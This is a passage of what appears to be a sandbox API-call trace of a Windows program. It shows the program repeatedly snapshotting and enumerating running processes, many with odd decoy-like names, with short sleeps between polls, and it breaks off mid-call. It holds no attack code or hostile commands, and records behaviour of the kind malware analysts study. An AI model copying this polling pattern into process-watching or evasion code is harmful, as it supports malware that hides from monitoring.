[0233.835] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0233.837] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.839] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0233.841] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.842] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0233.844] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0233.846] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.848] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0233.849] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0233.851] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0233.853] CloseHandle (hObject=0x2064) returned 1 [0233.853] Sleep (dwMilliseconds=0x64) [0233.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0233.870] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.873] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.875] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.877] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.878] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.881] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.883] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.884] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.886] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.888] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.889] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.891] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.893] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.894] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.896] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.898] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.899] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.901] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.903] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.905] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.907] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.908] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.910] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.912] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.913] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0233.915] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0233.917] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.919] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.920] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.922] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0233.924] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.925] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.927] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0233.928] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.930] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.932] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0233.968] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0233.970] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0233.971] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0233.973] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0233.975] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0233.976] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0233.978] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0233.980] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0233.982] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0233.983] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0233.986] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0234.035] Sleep (dwMilliseconds=0x64) [0234.054] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0234.068] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.175] Sleep (dwMilliseconds=0x64) [0234.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0234.189] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.317] Sleep (dwMilliseconds=0x64) [0234.321] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0234.333] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.402] Sleep (dwMilliseconds=0x64) [0234.403] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0234.453] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.561] Sleep (dwMilliseconds=0x64) [0234.565] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0234.577] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.676] Sleep (dwMilliseconds=0x64) [0234.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0234.701] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.991] Sleep (dwMilliseconds=0x64) [0235.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.045] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.144] Sleep (dwMilliseconds=0x64) [0235.146] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.158] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.230] Sleep (dwMilliseconds=0x64) [0235.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.244] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.359] Sleep (dwMilliseconds=0x64) [0235.362] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.376] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.655] Sleep (dwMilliseconds=0x64) [0235.658] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.678] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.789] Sleep (dwMilliseconds=0x64) [0235.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.814] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.914] Sleep (dwMilliseconds=0x64) [0235.916] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0235.927] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.995] Sleep (dwMilliseconds=0x64) [0235.996] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.039] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.126] Sleep (dwMilliseconds=0x64) [0236.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.217] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.293] Sleep (dwMilliseconds=0x64) [0236.315] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.328] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.462] Sleep (dwMilliseconds=0x64) [0236.465] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.485] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.674] Sleep (dwMilliseconds=0x64) [0236.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.687] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.817] Sleep (dwMilliseconds=0x64) [0236.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.831] Process32First (in: 